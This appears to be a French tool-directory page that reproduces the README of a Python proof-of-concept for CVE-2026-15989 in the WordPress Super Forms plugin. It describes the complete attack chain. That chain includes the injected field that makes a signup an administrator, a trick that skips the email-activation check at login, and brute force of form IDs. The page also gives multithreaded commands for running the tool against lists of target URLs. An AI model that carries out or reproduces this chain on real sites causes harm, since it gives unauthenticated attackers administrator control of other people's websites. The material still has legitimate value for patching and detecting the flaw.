Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-15989 — Scanner PoC Python pour CVE-2026-15989, exploitant l'injection de rôle non authentifiée dans WordPress Super Forms pour créer des comptes administrateur et vérifier l'accès. | Kitploit
Outils/GitHubGitHub/antid00t/cve-2026-15989
Escalade de PrivilègesScanners de VulnérabilitésAttaques de Mots de PasseExploitationScripting et AutomatisationExploitation d'Applications WebSécurité WebTests d'IntrusionRed Teaming
GitHubantid00t/cve-2026-15989

CVE-2026-15989

Scanner PoC Python pour CVE-2026-15989, exploitant l'injection de rôle non authentifiée dans WordPress Super Forms pour créer des comptes administrateur et vérifier l'accès.

1il y a 4h 20mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
                  █████╗  ███╗   ██╗ ████████╗ ██╗ ██████╗   ██████╗   ██████╗  ████████╗
                 ██╔══██╗ ████╗  ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
              ███████║ ██╔██╗ ██║    ██║    ██║ ██║  ██║ ██║██╔██║ ██║██╔██║    ██║
              ██╔══██║ ██║╚██╗██║    ██║    ██║ ██║  ██║ ████╔╝██║ ████╔╝██║    ██║
              ██║  ██║ ██║ ╚████║    ██║    ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝    ██║
              ╚═╝  ╚═╝ ╚═╝  ╚═══╝    ╚═╝    ╚═╝ ╚═════╝   ╚═════╝   ╚═════╝     ╚═╝

💉 Super Forms — Scanner Multi-Lab PrivEsc

CVE-2026-15989 · Création de compte administrateur non authentifiée

                                       » E X P L O I T S «

Python 3.8+ CVSS 9.8 CRITICAL WordPress Engine Banner style Telegram

🔥 Auto-découverte sans empreinte · Payloads adaptés à la validation · Zéro authentification · Classification honnête

screen02


🎯 Cible

Plugin WordPressSuper Forms – Drag & Drop Form Builder (add-on Register & Login)
Version affectée<= 6.3.316
Version corrigée6.3.317
Authentification❌ Aucune requise — n'importe quel formulaire d'inscription publié suffit
CVSS9.8 CRITICAL

⚡ Les chaînes d'exploitation

👑 CVE-2026-15989 — Clé role en liste blanche → Création d'administrateur
GET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
        │
POST admin-ajax.php  action=super_submit_form  data=<JSON>
        │
      before_email_success_msg()  (Register & Login add-on)
        │
$other_userdata = array( ..., 'role', ... )   ◄── client key whitelisted
        │
$data['role']['value']  ──►  $userdata['role']   (register_user_role overwritten)
        │
wp_insert_user()  ──►  🔥 administrator account, zero authentication

L'add-on copie $data['role']['value'] directement dans le tableau de données utilisateur sans le valider par rapport au register_user_role configuré par l'administrateur, sans liste d'autorisation et sans aucun contrôle de capacité — un simple champ injecté "role": {"value":"administrator"} suffit à gagner.

🎟️ Preuve de connexion — Contournement du verrou d'activation
POST wp-login.php   log / pwd / testcookie
        │                    + action=super_submit_form   ◄── the magic field
        │
check_user_login_status()  ──► pending/blocked gate SKIPPED
        │
GET /wp-admin/users.php
        │
200 = administrator proven  ·  403 = subscriber (patched build)

L'add-on n'applique son verrou d'activation par e-mail / modération que lorsque l'action POST n'est PAS super_submit_form — ainsi la même action de formulaire qui enregistre l'utilisateur permet également de se connecter à celui-ci, avant même toute vérification par e-mail.

🧨 Mode FULL — Brute force d'ID de formulaire en deux phases (aucune empreinte nécessaire)
discovery empty (REST · sitemap · links · ?page_id probe)
        │
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
        │                       (shared sessions would invalidate each nonce)
        │
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
        │
every accepted candidate ──► login proof per id
        │
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator

Les formulaires non destinés à l'inscription répondent également error:false, donc chaque identifiant accepté n'est qu'un candidat tant que les identifiants ne sont pas prouvés par une véritable connexion.

🚀 Démarrage rapide

# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt

# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt

# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt

labs.txt — une URL de base par ligne :

http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab        # self-signed TLS is handled automatically
# comments and blank lines are ignored

🛠️ Options

OptionDescription
--list FILEfichier de cibles — une URL par ligne (requis)
--output, -o FILEliste des cibles — uniquement les cibles VULNERABLE écrites en direct (sans ANSI)
--threads Nworkers de cibles concurrents (par défaut 10)
--timeout Ndélai d'expiration de socket par requête en secondes (par défaut 10)
--fullexécute TOUTE la chaîne — ajoute le fallback de brute force d'ID de formulaire (des comptes SERONT créés sur les cibles vulnérables)

🧾 États des résultats

ÉtatSignification
VULNERABLEcompte créé et accès administrateur wp-admin prouvé (200)
NOT-VULNERABLEconnexion OK mais pages admin en 403 — rôle ignoré → version corrigée
UNVERIFIEDsoumission acceptée mais connexion rejetée (compte verrouillé/en attente ou formulaire non destiné à l'inscription) — jamais signalé comme un faux positif silencieux
BLOCKEDsoumission rejetée (reCAPTCHA, CSRF, champs requis, honeypot…)
ERRORcible injoignable / échec DNS — signalé avec la cause exacte

✨ Fonctionnalités

Télécharger l’outil